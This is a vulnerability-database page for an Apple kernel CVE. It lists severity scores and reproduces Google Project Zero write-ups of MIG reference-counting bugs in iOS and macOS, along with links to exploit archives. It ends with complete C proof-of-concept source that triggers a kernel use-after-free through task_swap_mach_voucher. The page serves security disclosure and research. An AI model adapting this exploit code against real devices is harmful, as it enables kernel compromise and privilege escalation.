CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
An issue was discovered in certain Apple products. iOS before 10.2 is affected. macOS before 10.12.2 is affected. watchOS before 3.1.3 is affected. The issue involves the "Kernel" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.0
7.8
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
Required
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.51%
–
–
2022-04-03
–
–
2.51%
–
–
2022-07-17
–
–
2.51%
–
–
2023-02-26
–
–
2.51%
–
–
2023-03-12
–
–
–
0.28%
–
2023-09-10
–
–
–
0.28%
–
2024-02-11
–
–
–
0.28%
–
2024-06-02
–
–
–
0.28%
–
2024-06-09
–
–
–
–
–
2024-06-09
–
–
–
0.28%
–
2024-12-22
–
–
–
0.31%
–
2025-01-12
–
–
–
0.31%
–
2025-01-19
–
–
–
0.31%
–
2025-03-18
–
–
–
–
3.04%
2025-03-30
–
–
–
–
3.58%
2025-03-30
–
–
–
–
3.58,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2016-12-21 23h00 +00:00 Author : Google Security Research EDB Verified : Yes
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=926
mach ports are really struct ipc_port_t's in the kernel; this is a reference-counted object,
ip_reference and ip_release atomically increment and decrement the 32 bit io_references field.
Unlike OSObjects, ip_reference will allow the reference count to overflow, however it is still 32-bits
so without either a lot of physical memory (which you don't have on mobile or most desktops) or a real reference leak
this isn't that interesting.
** MIG and mach message rights ownership **
ipc_kobject_server in ipc_kobject.c is the main dispatch routine for the kernel MIG endpoints. When userspace sends a
message the kernel will copy in the message body and also copy in all the message rights; see for example
ipc_right_copyin in ipc_right.c. This means that by the time we reach the actual callout to the MIG handler any port rights
contained in a request have had their reference count increased by one.
After the callout we reach the following code (still in ipc_kobject_server):
if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
// The server function is responsible for the contents
// of the message. The reply port right is moved
// to the reply message, and we have deallocated
// the destination port right, so we just need
// to free the kmsg.
ipc_kmsg_free(request);
} else {
// The message contents of the request are intact.
// Destroy everthing except the reply port right,
// which is needed in the reply message.
request->ikm_header->msgh_local_port = MACH_PORT_NULL;
ipc_kmsg_destroy(request);
}
If the MIG callout returns success, then it means that the method took ownership of *all* of the rights contained in the message.
If the MIG callout returns a failure code then the means the method took ownership of *none* of the rights contained in the message.
ipc_kmsg_free will only destroy the message header, so if the message had any other port rights then their reference counts won't be
decremented. ipc_kmsg_destroy on the other hand will decrement the reference counts for all the port rights in the message, even those
in port descriptors.
If we can find a MIG method which returns KERN_SUCCESS but doesn't in fact take ownership of any mach ports its passed (by for example
storing them and dropping the ref later, or using them then immediately dropping the ref or passing them to another method which takes
ownership) then this can lead to us being able to leak references.
** indirect MIG methods **
Here's the MIG request structure generated for io_service_add_notification_ool_64:
typedef struct {
mach_msg_header_t Head;
// start of the kernel processed data
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t matching;
mach_msg_port_descriptor_t wake_port;
// end of the kernel processed data
NDR_record_t NDR;
mach_msg_type_number_t notification_typeOffset; // MiG doesn't use it
mach_msg_type_number_t notification_typeCnt;
char notification_type[128];
mach_msg_type_number_t matchingCnt;
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
mach_msg_trailer_t trailer;
} Request __attribute__((unused));
This is an interesting method as its implementation actually calls another MIG handler:
static kern_return_t internal_io_service_add_notification_ool(
...
kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t) matching );
data = CAST_DOWN(vm_offset_t, map_data);
if( KERN_SUCCESS == kr) {
// must return success after vm_map_copyout() succeeds
// and mig will copy out objects on success
*notification = 0;
*result = internal_io_service_add_notification( master_port, notification_type,
(char *) data, matchingCnt, wake_port, reference, referenceSize, client64, notification );
vm_deallocate( kernel_map, data, matchingCnt );
}
return( kr );
}
and internal_io_service_add_notification does this:
static kern_return_t internal_io_service_add_notification(
...
if( master_port != master_device_port)
return( kIOReturnNotPrivileged);
do {
err = kIOReturnNoResources;
if( !(sym = OSSymbol::withCString( notification_type )))
err = kIOReturnNoResources;
if (matching_size)
{
dict = OSDynamicCast(OSDictionary, OSUnserializeXML(matching, matching_size));
}
else
{
dict = OSDynamicCast(OSDictionary, OSUnserializeXML(matching));
}
if (!dict) {
err = kIOReturnBadArgument;
continue;
}
...
} while( false );
return( err );
This inner function has many failure cases (wrong kernel port, invalid serialized data) which we can easily trigger and these error paths lead
to this inner function not taking ownership of the wake_port argument. However, MIG will only see the return value of the outer internal_io_service_add_notification_ool
which will always return success if we pass a valid ool memory descriptor. This violates ipc_kobject_server's ownership model where success means ownership
was taken of all rights, not just some.
What this leads to is actually quite a nice primitive for constructing an ipc_port_t reference count overflow without leaking any memory.
If we call io_service_add_notification_ool with a valid ool descriptor, but fill it with data that causes OSUnserializeXML to return an error then
we can get that memory freed (via the vm_deallocate call above) but the reference on the wake port will be leaked since ipc_kmsg_free will be called, not
ipc_kmsg_destroy.
If we send this request 0xffffffff times we can cause a ipc_port_t's io_references field to overflow to 0; the next time it's used the ref will go 0 -> 1 -> 0
and the object will be free'd but we'll still have a dangling pointer in our process's ports table.
As well as being a regular kernel UaF this also gives us the opportunity to do all kinds of fun mach port related logic attacks, eg getting send rights to
other task's task ports via our dangling ipc_port_t pointer.
** practicality **
On my 4 year old dual core MBA 5,2 running with two threads this PoC takes around 8 hours after which you should see a kernel panic indicative of a UaF.
Note that there are no resources leaks involved here so you can run it even on very constrained systems like an iPhone and it will work fine,
albeit a bit slowly :)
This code is reachable from all sandboxed environments.
** fixes **
One approach to fixing this issue would be to do something similar to OSObjects which use a saturating reference count and leak the object if the reference count saturates
I fear there are a great number of similar issues so just fixing this once instance may not be enough.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40955.zip
Publication date : 2017-12-10 23h00 +00:00 Author : Google Security Research EDB Verified : Yes
I have previously detailed the lifetime management paradigms in MIG in the writeups for:
CVE-2016-7612 [https://bugs.chromium.org/p/project-zero/issues/detail?id=926]
and
CVE-2016-7633 [https://bugs.chromium.org/p/project-zero/issues/detail?id=954]
If a MIG method returns KERN_SUCCESS it means that the method took ownership of *all* the arguments passed to it.
If a MIG method returns an error code, then it took ownership of *none* of the arguments passed to it.
If an IOKit userclient external method takes an async wake mach port argument then the lifetime of the reference
on that mach port passed to the external method will be managed by MIG semantics. If the external method returns
an error then MIG will assume that the reference was not consumed by the external method and as such the MIG
generated coode will drop a reference on the port.
IOSurfaceRootUserClient external method 17 (s_set_surface_notify) will drop a reference on the wake_port
(via IOUserClient::releaseAsyncReference64) then return an error code if the client has previously registered
a port with the same callback function.
The external method's error return value propagates via the return value of is_io_connect_async_method back to the
MIG generated code which will drop a futher reference on the wake_port when only one was taken.
This bug is reachable from the iOS app sandbox as demonstrated by this PoC.
Tested on iOS 11.0.3 (11A432) on iPhone 6s (MKQL2CN/A)
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
------------------------------------------------------
async_wake exploit attached.
Gets tfp0 on all 64-bit devices plus an initial PoC local kernel debugger.
See the README and kdbg.c for details.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43320.zip
Publication date : 2019-01-24 23h00 +00:00 Author : Google Security Research EDB Verified : Yes
/*
* voucher_swap-poc.c
* Brandon Azad
*/
#if 0
iOS/macOS: task_swap_mach_voucher() does not respect MIG semantics leading to use-after-free
The dangers of not obeying MIG semantics have been well documented: see issues 926 (CVE-2016-7612),
954 (CVE-2016-7633), 1417 (CVE-2017-13861, async_wake), 1520 (CVE-2018-4139), 1529 (CVE-2018-4206),
and 1629 (no CVE), as well as CVE-2018-4280 (blanket). However, despite numerous fixes and
mitigations, MIG issues persist and offer incredibly powerful exploit primitives. Part of the
problem is that MIG semantics are complicated and unintuitive and do not align well with the
kernel's abstractions.
Consider the MIG routine task_swap_mach_voucher():
routine task_swap_mach_voucher(
task : task_t;
new_voucher : ipc_voucher_t;
inout old_voucher : ipc_voucher_t);
Here's the (placeholder) implementation:
kern_return_t
task_swap_mach_voucher(
task_t task,
ipc_voucher_t new_voucher,
ipc_voucher_t *in_out_old_voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*in_out_old_voucher = new_voucher;
return KERN_SUCCESS;
}
The correctness of this implementation depends on exactly how MIG ownership semantics are defined
for each of these parameters.
When dealing with Mach ports and out-of-line memory, ownership follows the traditional rules (the
ones violated by the bugs above):
1. All Mach ports (except the first) passed as input parameters are owned by the service routine if
and only if the service routine returns success. If the service routine returns failure then MIG
will deallocate the ports.
2. All out-of-line memory regions passed as input parameters are owned by the service routine if
and only if the service routine returns success. If the service routine returns failure then MIG
will deallocate all out-of-line memory.
But this is only part of the picture. There are more rules for other types of objects:
3. All objects with defined MIG translations that are passed as input-only parameters are borrowed
by the service routine. For reference-counted objects, this means that the service routine is
not given a reference, and hence a reference must be added if the service routine intends to
keep the object around.
4. All objects with defined MIG translations that are returned in output parameters must be owned
by the output parameter. For reference-counted objects, this means that output parameters
consume a reference on the object.
And most unintuitive of all:
5. All objects with defined MIG translations that are passed as input in input-output parameters
are owned (not borrowed!) by the service routine. This means that the service routine must
consume the input object's reference.
Having defined MIG translations means that there is an automatic conversion defined between the
object type and its Mach port representation. A task port is one example of such a type: you can
convert a task port to the underlying task object using convert_port_to_task(), and you can convert
a task to its corresponding port using convert_task_to_port().
Getting back to Mach vouchers, this is the MIG definition of ipc_voucher_t:
type ipc_voucher_t = mach_port_t
intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)
outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)
destructor: ipc_voucher_release(ipc_voucher_t)
;
This definition means that MIG will automatically convert the voucher port input parameters to
ipc_voucher_t objects using convert_port_to_voucher(), convert the ipc_voucher_t output parameters
into ports using convert_voucher_to_port(), and discard any extra references using
ipc_voucher_release(). Note that convert_port_to_voucher() produces a voucher reference without
consuming a port reference, while convert_voucher_to_port() consumes a voucher reference and
produces a port reference.
To confirm our understanding of the MIG semantics outlined above, we can look at the function
_Xtask_swap_mach_voucher(), which is generated by MIG during the build process:
mig_internal novalue _Xtask_swap_mach_voucher
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
...
kern_return_t RetCode;
task_t task;
ipc_voucher_t new_voucher;
ipc_voucher_t old_voucher;
...
task = convert_port_to_task(In0P->Head.msgh_request_port);
new_voucher = convert_port_to_voucher(In0P->new_voucher.name);
old_voucher = convert_port_to_voucher(In0P->old_voucher.name);
RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);
ipc_voucher_release(new_voucher);
task_deallocate(task);
if (RetCode != KERN_SUCCESS) {
MIG_RETURN_ERROR(OutP, RetCode);
}
...
if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);
if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
...
OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);
OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
OutP->msgh_body.msgh_descriptor_count = 1;
}
Tracing where each of the references are going, we can deduce that:
1. The new_voucher parameter is deallocated with ipc_voucher_release() after invoking the service
routine, so it is not owned by task_swap_mach_voucher(). In other words,
task_swap_mach_voucher() is not given a reference on new_voucher.
2. The old_voucher parameter has a reference on it before it gets overwritten by
task_swap_mach_voucher(), which means task_swap_mach_voucher() is being given a reference on the
input value of old_voucher.
3. The value returned by task_swap_mach_voucher() in old_voucher is passed to
convert_voucher_to_port(), which consumes a reference on the voucher. Thus,
task_swap_mach_voucher() is giving _Xtask_swap_mach_voucher() a reference on the output value of
old_voucher.
Finally, looking back at the implementation of task_swap_mach_voucher(), we can see that none of
these rules are being followed:
kern_return_t
task_swap_mach_voucher(
task_t task,
ipc_voucher_t new_voucher,
ipc_voucher_t *in_out_old_voucher)
{
if (TASK_NULL == task)
return KERN_INVALID_TASK;
*in_out_old_voucher = new_voucher;
return KERN_SUCCESS;
}
This results in two separate reference counting issues:
1. By overwriting the value of in_out_old_voucher without first releasing the reference, we are
leaking a reference on the input value of old_voucher.
2. By assigning the value of new_voucher to in_out_old_voucher without adding a reference, we are
consuming a reference we don't own, leading to an over-release of new_voucher.
Now, Apple has previously added a mitigation to make reference count leaks on Mach ports
non-exploitable by having the reference count saturate before it overflows. However, this
mitigation is not relevant here because we're leaking a reference on the actual ipc_voucher_t, not
on the voucher port that represents the voucher. And looking at the implementation of
ipc_voucher_reference() and ipc_voucher_release() (as of macOS 10.13.6), it's clear that the
voucher reference count is tracked independently of the port reference count:
void
ipc_voucher_reference(ipc_voucher_t voucher)
{
iv_refs_t refs;
if (IPC_VOUCHER_NULL == voucher)
return;
refs = iv_reference(voucher);
assert(1 < refs);
}
void
ipc_voucher_release(ipc_voucher_t voucher)
{
if (IPC_VOUCHER_NULL != voucher)
iv_release(voucher);
}
static inline iv_refs_t
iv_reference(ipc_voucher_t iv)
{
iv_refs_t refs;
refs = hw_atomic_add(&iv->iv_refs, 1);
return refs;
}
static inline void
iv_release(ipc_voucher_t iv)
{
iv_refs_t refs;
assert(0 < iv->iv_refs);
refs = hw_atomic_sub(&iv->iv_refs, 1);
if (0 == refs)
iv_dealloc(iv, TRUE);
}
(The assert()s are not live on production builds.)
This vulnerability can be triggered without crossing any privilege/MACF checks, so it should be
reachable within every process and every sandbox.
On iOS 11 and macOS 10.13, both the over-reference and over-release vulnerabilities can be
independently exploited to free an ipc_voucher_t while it is still in use. On these platforms these
are incredibly powerful vulnerabilities, since they also let us receive a send right to a
freed-and-reallocated Mach port back in userspace. For some examples of why this is dangerous, see
Ian's thoughts in issue 941: <https://bugs.chromium.org/p/project-zero/issues/detail?id=941#c3>.
As of iOS 12 and macOS 10.14, the voucher reference count is checked for underflow and overflow,
which does make the over-reference vulnerability non-exploitable. However, the over-release
vulnerability is still fully exploitable, and probably can still be used as a single,
direct-to-kernel bug from any process.
Additionally, while this report is of a single bug, it should indicate a wider problem with the
complexity of obeying MIG semantics. It might be worth reviewing other edge cases of MIG semantics
not covered by previous bugs.
(There's a variant of the over-reference vulnerability in thread_swap_mach_voucher(), but it is no
longer exploitable as of iOS 12.)
This proof-of-concept demonstrates the vulnerability by creating a Mach voucher, saving a reference
to it in the current thread's ith_voucher field via thread_set_mach_voucher(), decreasing the
reference count back to 1 using task_swap_mach_voucher(), and then freeing the voucher by
deallocating the voucher port in userspace. This leaves a dangling pointer to the freed voucher's
memory in ith_voucher, which can subsequently be accessed with a call to thread_get_mach_voucher(),
triggering a panic.
Tested on macOS 10.13.6 (17G4015), macOS 10.14.2, and iOS 12.1 (16B92).
#endif
#include <assert.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>
// Stash the host port for create_voucher().
mach_port_t host;
/*
* create_voucher
*
* Description:
* Create a Mach voucher. If id is unique, then this will be a unique voucher (until another
* call to this function with the same id).
*
* A Mach voucher port for the voucher is returned. The voucher has 1 reference, while the
* voucher port has 2 references and 1 send right.
*/
static mach_port_t
create_voucher(uint64_t id) {
assert(host != MACH_PORT_NULL);
mach_port_t voucher = MACH_PORT_NULL;
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu-variable-sized-type-not-at-end"
struct __attribute__((packed)) {
mach_voucher_attr_recipe_data_t user_data_recipe;
uint64_t user_data_content[2];
} recipes = {};
#pragma clang diagnostic pop
recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
recipes.user_data_content[0] = getpid();
recipes.user_data_content[1] = id;
kern_return_t kr = host_create_mach_voucher(
host,
(mach_voucher_attr_raw_recipe_array_t) &recipes,
sizeof(recipes),
&voucher);
assert(kr == KERN_SUCCESS);
assert(voucher != MACH_PORT_NULL);
return voucher;
}
/*
* voucher_tweak_references
*
* Description:
* Use the task_swap_mach_voucher() vulnerabilities to modify the reference counts of 2
* vouchers.
*
*/
static void
voucher_tweak_references(mach_port_t release_voucher, mach_port_t reference_voucher) {
// Call task_swap_mach_voucher() to tweak the reference counts (two bugs in one!).
mach_port_t inout_voucher = reference_voucher;
kern_return_t kr = task_swap_mach_voucher(mach_task_self(), release_voucher, &inout_voucher);
assert(kr == KERN_SUCCESS);
// At this point we've successfully tweaked the voucher reference counts, but our port
// reference counts might be messed up because of the voucher port returned in
// inout_voucher! We need to deallocate it (it's extra anyways, since
// task_swap_mach_voucher() doesn't swallow the existing send rights).
if (MACH_PORT_VALID(inout_voucher)) {
kr = mach_port_deallocate(mach_task_self(), inout_voucher);
assert(kr == KERN_SUCCESS);
}
}
/*
* voucher_reference
*
* Description:
* Add a reference to the voucher represented by the voucher port.
*/
static void
voucher_reference(mach_port_t voucher) {
voucher_tweak_references(MACH_PORT_NULL, voucher);
}
/*
* voucher_release
*
* Description:
* Release a reference on the voucher represented by the voucher port.
*/
static void
voucher_release(mach_port_t voucher) {
voucher_tweak_references(voucher, MACH_PORT_NULL);
}
/*
* thread_stash_freed_voucher
*
* Description:
* Stash a pointer to a freed voucher object in the current thread's ith_voucher field. This
* voucher can be accessed later with thread_get_mach_voucher().
*/
static void
thread_stash_freed_voucher(mach_port_t thread_self) {
// Create a unique voucher. This voucher will have 1 voucher reference, 2 port references,
// and 1 port send right.
mach_port_t voucher = create_voucher(0);
// Stash a copy of the voucher in our thread. This will bump the voucher references to 2.
kern_return_t kr = thread_set_mach_voucher(thread_self, voucher);
assert(kr == KERN_SUCCESS);
// Now drop the voucher reference count to 1. The port reference count is still 2.
voucher_release(voucher);
// Next deallocate our send right to the voucher port. This drops the port send right
// count to 0 (although the port reference count is still 1), causing a no-senders
// notification to be triggered. The no-senders notification calls ipc_voucher_notify(),
// which releases the final voucher reference. In the process of freeing the voucher,
// ipc_port_dealloc_kernel() is called on the port, so the port is also freed.
kr = mach_port_deallocate(mach_task_self(), voucher);
assert(kr == KERN_SUCCESS);
// This leaves a dangling pointer to the voucher in thread_self->ith_voucher. We can access
// the freed voucher and voucher port with a call to thread_get_mach_voucher().
}
int
main(int argc, const char *argv[]) {
host = mach_host_self();
mach_port_t thread = mach_thread_self();
// Stash a pointer to a freed ipc_voucher_t in this thread's ith_voucher field.
thread_stash_freed_voucher(thread);
// The following call should trigger a panic.
mach_port_t voucher;
thread_get_mach_voucher(thread, 0, &voucher);
return 0;
}